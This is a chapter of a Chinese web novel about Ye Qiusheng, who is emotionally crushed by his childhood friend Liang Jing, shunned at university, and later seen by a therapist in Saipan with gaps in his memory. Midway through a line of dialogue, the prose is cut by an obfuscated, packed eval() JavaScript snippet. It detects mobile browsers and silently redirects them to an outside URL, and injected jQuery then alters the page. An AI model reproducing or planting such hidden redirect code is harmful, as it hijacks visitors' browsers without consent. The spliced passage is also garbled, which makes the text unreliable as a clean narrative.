要问齐愿有什么后悔的事，大概就是那天跟着梁景一起离开了，丢下叶秋声一个人。
直到很多年后，他都会清楚记得那个下午。他走得很急，一心只想终止一场尖锐的矛盾，走出一段距离后他松了口气，紧绷的大脑放松了下来，担忧让他回头看了一眼。
叶秋声还站在原处，一动不动，手里握着一瓶才刚打开的水，像是一道安静沉寂的影子，一个定格在时间里的雕塑，灵魂从躯壳里抽离了出来，苍白失色。
安静。
这是最不该跟叶秋声这样的人联系在一起的词汇。齐愿总觉得他就像一个永远旋转不停的陀螺，忙碌吵闹得停不下来。
齐愿心底生出一股异样的感觉，一种有件很糟糕的事情即将发生，而他却不知道要如何阻止的无力感。
齐愿看不清叶秋声的表情，那个孑然的身形在疾走间摇晃的视野里逐渐缩小，直到再也看不见，后来他是不是一个人躲起来哭了，自然也无从得知。
叶秋声从来不哭，没人见过他哭的样子。
他不会受伤，也不会生气，所以让人很放心。
想必梁景也是这么想的，所以他们两个谁都没回去看看。
回到宿舍后，齐愿责怪道：“你吃醋秋声亲近我就吃醋，跟秋声说话那么冲干什么，怎么说你们都是从小一起玩到大的，要是秋声真气急了，以后再也不理你了，后悔的不还得是你？”
梁景：“他不会。”
他坐在桌边，眼睛望着窗外，拖着下巴，语气十分随意，却很笃定。
“你看着吧，他明天就会来找我，他从小就这样，他根本离不开我，”梁景漫不经心道，寻找了一种便于理解的比喻，“你见过谁家的狗被主人踹两脚就真再也不回家了？”
齐愿盯着梁景看，像是第一次认识眼前这个人。想劝他别这么说话，却心知劝不住。齐愿上大学才认识这俩人，对两人之间的情况了解的也不是多清楚，不了解就不好太深了劝。
眼看梁景脾气又要上来，不想吵架，话题到此终止。
然而梁景这次却估计错了，第二天叶秋声没来。
并不是因为他要跟梁景决裂了，而是他又病了。
叶秋声确实是个记吃不记打的人，难过很短暂，转眼被抛到脑后，这点梁景说得没错。要不是身体不好，他可能睡一觉，就又欢欢喜喜地跑去找梁景了。
叶秋声回来时，学校里的气氛似有所变。
那天三人在街上争执的画面很多人都看见了，具体情况旁人也不是很清楚，所以流言传出了很多个版本。八卦不管在什么时候都是最能引发大众热情，也是传播速度最快的。
很多事都经不起太细的审视，譬如说：叶秋声喜欢拥抱别人——他有分寸的只抱男同学，不会乱抱异性。
还有，叶秋声被人摸头时总是笑得格外耀眼。
他那头一看手感就很好，很好撸的小棕毛很得身边的人喜欢，平时大家有事没事总忍不住上手摸两把。
叶秋声不介意，甚至还在有人把视线停在他的脑袋上，忍耐克制地看了一眼又一眼时，主动凑上前去，笑得像是推销员那样给对方推销自己：“要不要摸一下，手感很好的！”
如果梁景在，他就会在对方尖叫激动地对叶秋声伸手前，把人逮回来。
叶秋声总得意地昂着脑袋告诉梁景：“我就是这么受欢迎，人见人爱，天生的，没办法的。”
被人揉两下脑袋人飘得没边了，步子轻快得快要蹦起来了。
梁景不想说话，叶秋声说得是事实。
在小石村的时候，叶秋声明明只有他，梁景不在的时候，叶秋声的时间都用来等他。但当叶秋声走出小石村后，一切就都变了。
不过等叶秋声出院后，情况再次发生了变化。
男生间搂搂抱抱，互相打闹倒也寻常，以前也不会有人觉得有什么问题。
慢慢地，却会有男生在叶秋声靠近时露出一种微妙的、尴尬的表情。
叶秋声看得出来，那是种不想让他靠近，却又不好意思说的神态。
原本欢快的情绪像是被浇了盆冷水，叶秋声第一次在靠近他人时，感到了一种陌生的恐惧和畏缩。那感觉让他不知所措，让他飞速将手指蜷缩进了掌心，像是罪犯藏起一件不该见光的赃物。
对方的舍友立马走过来，给了那个满脸尴尬的男生一个锁喉拥抱，打着哈哈把满脸尴尬的人拉远。
于是叶秋声明白，并不是对方不喜欢和人走太近，他只是讨厌他的靠近。
叶秋声看着自己手掌，脑海里再次响起梁景的话，陷入思考。
那阵子齐愿忙着跑演出，不在学校，也无暇顾及梁景。
等他忙过了半年，再回学校时，得知梁景申请了公费出国的项目，目前已经不在学校里，而系里导师的宝贝疙瘩，未来很有望在外交事业上大放异彩的叶秋声再次休学了。
这次听说是心理原因，提起这件事，连艺术院的导师都频频摇头扼腕。
并评判：“天才通病。”
“那是什么意思？”齐愿不太懂他们这种脑子很好的人都在想什么。
“聪明人通常都有着远超常人的专注力，这会让他们总是在一些细枝末节之处进行过于细致的观察，太执着于获得问题的答案，在一条路上走得太远，回不来了，”艺术院的老师颇为感性地说，“但人总归要活在社会和群体之中，天才的悲剧就在于，他们无法融入人群，本质却又还是个人。孤独感将伴随他们一生，直到他们开始觉得自己是个与世不容的异类，最后彻底被孤独蚕食，消亡。”
老师站起身，对彩排间隙休息的学生拍拍手掌，“回来继续彩排了！”
回头跟听得一头雾水的齐愿笑着说：“俗话就是，容易钻牛角尖的性子。”
齐愿还是不太理解。
如果他能早早理解，也就不会直到亲眼见证晨星湮灭，才后知后觉意识到那个平凡的午后，梁景究竟是如何摧毁一颗太阳，抹灭他的光辉，将其粉碎为尘埃的。
.
美国，塞班。
房间不大，但摆设得干净温馨。
房间当中是一张木桌，落地窗打开着，窗外就是海滩和塞班岛蔚蓝的海水，浪潮声和阳光被海风一同吹进窗子，雪白的窗帘悠悠飘扬着落下。
一张年轻的亚裔面孔出现在杨钧的面前。
青年有着白皙尖瘦的下巴，一头稍长的黑发，平静的眼睛和挺翘的鼻梁尽数被遮在锐长的发帘之下，他穿着舒适柔软的棉质条纹睡衣，人看起来很乖巧，也很安静，甚至安静过了头。
“后来呢？你还记得后来，在学校里发生了什么吗？你被同学欺负了吗？”
大概过了两秒。
青年摇摇头，音节慢吞吞的：“没有，大家都是好人，没有人欺负我。”
他的脑袋微微向上抬了一下，哪怕杨钧看不太清楚他的眼睛，也能感觉到他说话时认真笃定的态度。
“但我听说，他们疏远了你，你在学校事实上地被孤立了，”杨钧接道，“你是在为此痛苦吗？”
“没有，”青年再次缓慢地摇头，“我只是很困惑，我
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15300094|167139||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
只是......有些害怕。”
“你在害怕什么？”
青年张了张嘴，没出声。
杨钧在纸上写写画画，继续温声问他：“你还记得其他细节吗？可以跟我说说吗？”
青年按了按脑袋，微微皱眉道：“抱歉，不太记得了，我好像忘记了挺多东西。”
杨钧停笔。
杨钧笑道：“秋声，这对你来说或许是件好事，有时候记得太清也不好。”
他没说的是，正常人是不会把桩桩件件的事情都记得那么清楚的。叶秋声或许意识到了这一点，可他显然有些用力过猛，矫枉过正了。
不过从生活质量上看，或许如今这样，也要比他之前那样更好。
叶秋声安静了片刻，又慢吞吞点了下头。他点头的动作很认真用力，让杨钧感觉他有点呆，呆得很可爱的那种。
随后这颗呆呆的黑色蘑菇脑袋像是想起什么，进入房间之后，第一次对杨钧追问：“那么，我是不是快好了？”
他只有说这句话时，语速加快了些，不是很明显，但足以表达他急切的态度。
青年已经很少有这么情绪外露的时刻。大多数时候，他都像是一个缓慢而迟钝的蘑菇，安静地扎根在角落，没有喜怒，仅仅只是作为一颗菌子，躲在潮湿阴凉的角落，静静呼吸着，不会给任何人增添负担。
杨钧脸上笑意多了些，换了个更轻松适合闲谈的姿势，调侃般问：“怎么，康复后有事急着做？”
这位年轻的病人难得有了些他这个年纪该有的人气。
叶秋声认真点头，像是怕杨钧无法理解他的急切和恳切，点过一次脑袋之后，他抿着唇，给自己鼓劲般又点了一下，放在膝盖上的手掌也攥了起来：“我要快点好起来，然后以最好的样子，去见一个很重要的人。”
重要的人？
难不成，是想说梁景？
杨钧知道这个人。
杨钧竖起耳朵，装作不经意地哦了声，问：“是谁？”
“是......”
青年皱了下眉。
“是......”
他用力锤了下脑袋，这没有什么效果，人的脑袋不是老电视，旧收音机，坏了拍拍就好。
一个名字就要出现。
有人很温柔地唤他：「秋声。」
可他实在想不起来那是谁。
他可以遗忘很多东西，他什么都不在意，唯独这个名字，是不能忘的。
情绪一直很平静的青年忽然陷入一种难言的狂躁和偏激中。
言语无法抚慰他，杨钧下意识站起身飞速绕过桌子，蹲在青年身边，试图控制住他摧残自己的双手，也想借用力握手的动作给予他一些强心理支撑，助他平静下来。
拥抱和握手都是人表达友好的方式，眼前的病人也自我陈述自己对和人接触有强烈的渴望，他不是一个孤僻的人，至少曾经不是。
但很快杨钧就发现，自己接触过的地方，起了一片红疹。
过敏症状。
他吓得飞速松开手，并按了呼叫铃。
经过一番折腾，为病人注射镇静剂，青年的呼吸渐渐平稳，眼皮也慢慢耷拉下来。
他应当是很困倦了。
但最后的意识中，嘴里还在呢喃：“会改掉......坏毛病......就快好了......不要讨厌我......”
“秦......”
什么？
杨钧凑近了些。
“......渭。”
秦渭。